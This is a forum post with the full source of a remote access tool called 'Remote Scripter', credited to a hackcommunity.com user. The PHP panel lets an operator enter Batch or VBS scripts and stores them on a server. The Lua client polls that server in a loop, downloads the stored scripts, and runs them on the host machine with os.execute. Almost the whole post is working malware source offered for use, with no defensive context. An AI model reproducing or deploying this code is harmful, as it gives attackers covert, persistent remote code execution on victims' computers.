[PHP - Lua] RAT - Remote Scripter v1.0

Code:

<?php
$bar = "################################################################";
?>

<html>
<head>

<title>Remote Scripter | V1.0</title>

<style>

body {
background: #000;
color: #00ff00;
font-family: Verdana, Arial, Helvetica;
}

body a:link {
color: blue;
text-decoration: none;
}

body a:visited {
color: blue;
text-decoration: none;
}

body a:hover {
color: blue;
text-decoration: underline;
}

#main {
position: absolute;
top: 15px;
left: 10px;
padding-right: 14px;
width: 658px;
font-size: 13px;
border: 1px solid #8C8C8C;
}

#main2 {
position: absolute;
top: 15px;
left: 694px;
width: 658px;
font-size: 13px;
border: 1px solid #8C8C8C;
}

#inside {
position: relative;
margin-top: 5px;
margin-bottom: 5px;
margin-left: 9px;
}

.code {
left: 0px;
width: 630px;
height: 460px;
background-color: #191919;
color: grey;
border: 1px solid grey;
}

.button {
left: 0px;
width: 630px;
height: 42px;
background-color: #191919;
color: grey;
}

#footer {
position: absolute;
bottom: 5px;
left: 369px;
font-family: verdana;
color: #666;
font-size: 12px;
}

</style>

<script type="text/javascript">
window.onload = function() {
	document.getElementById('batch').focus();
}
</script>

</head>

<body>
<div id="main">
<div id="inside">

<?php echo $bar; ?><br>
<font face="sans-serif" size="4" color="white"><b>Noize's Remote Scripter &nbsp;|&nbsp; Batch</b></font><br>
<?php echo $bar; ?><br>

<form method='post' action='' style="position: relative; left: 6px;">
<br>
<textarea name="batch" id="batch" class="code" placeholder="Type your Batch script for remote execution"></textarea>
<br>
<input type="submit" value="Run" class="button" /><br>
<input type="hidden" name="submit_batch" />
</form>
<?php echo $bar; ?><br>

</font>

</div>
</div>

<div id="main2">
<div id="inside">

<?php echo $bar; ?><br>
<font face="sans-serif" size="4" color="white"><b>Noize's Remote Scripter &nbsp;|&nbsp; VBS</b></font><br>
<?php echo $bar; ?><br>

<form method='post' action='' style="position: relative; left: 6px;">
<br>
<textarea name="vbs" id="vbs" class="code" placeholder="Type your VBS script for remote execution"></textarea>
<br>
<input type="submit" value="Run" class="button" /><br>
<input type="hidden" name="submit_vbs" />
</form>
<?php echo $bar; ?>

</font>

</div>
</div>

<?php

if (!file_exists("batch.txt")) {
	file_put_contents("batch.txt", "");
}

if (!file_exists("vbs.txt")) {
	file_put_contents("vbs.txt", "");
}

if(isset($_POST['submit_batch'])) {
	$batch = $_POST['batch'];
	file_put_contents("batch.txt", $batch);
}

if(isset($_POST['submit_vbs'])) {
	$vbs = $_POST['vbs'];
	file_put_contents("vbs.txt", $vbs);
}

?>

</div>

<div id="footer">
&copy; Coded by Noize at <a href="http://hackcommunity.com">www.hackcommunity.com</a> · Special thanks go to static_cast · All rights are shit
</div>

</body>
</html>

Code:

-------------------------------------------
--  Remote Scripter V1.0
-------------------------------------------
--  Coded by noize at www.hackcommunity.com
--  Special thanks to:
--    ArkPhaze
--    static_cast
-------------------------------------------

local http = require("socket.http")
local ltn12 = require("ltn12")

function readf(file)
    local f = io.open(file, "r")
    if not f then return nil end
    return f:read("*a")
end

function writef(file, text)
    local f = io.open(file, "w")
    f:write(text)
    f:close()
end

function httpget(str)
	http.request{
        url = str,
        sink = ltn12.sink.file(io.open("content.txt", "w"))
    }
end

while 1==1 do

    port = 80

    bat = readf("server.txt") .. "/batch.txt"
    vbs = readf("server.txt") .. "/vbs.txt"

	httpget(bat)
   	batcmd = readf("content.txt")

	httpget(vbs)
   	vbscmd = readf("content.txt")

	os.remove("content.txt")

	if batcmd ~= nil then -- if there's any remote command
	    if readf("cmd.bat") ~= batcmd then -- if cmd.bat != remote command
   		    writef("cmd.bat", batcmd) -- write new commands to cmd.bat
	    	os.execute("cmd.bat") -- run cmd.bat
   	    end
   	end

    if vbscmd ~= nil then -- do the same for the VBS part
        if readf("cmd.vbs") ~= vbscmd then
            writef("cmd.vbs", vbscmd)
       		os.execute("cmd.vbs")
        end
    end

	curt = os.clock()
	while curt + 0.5 >= os.clock() do end

end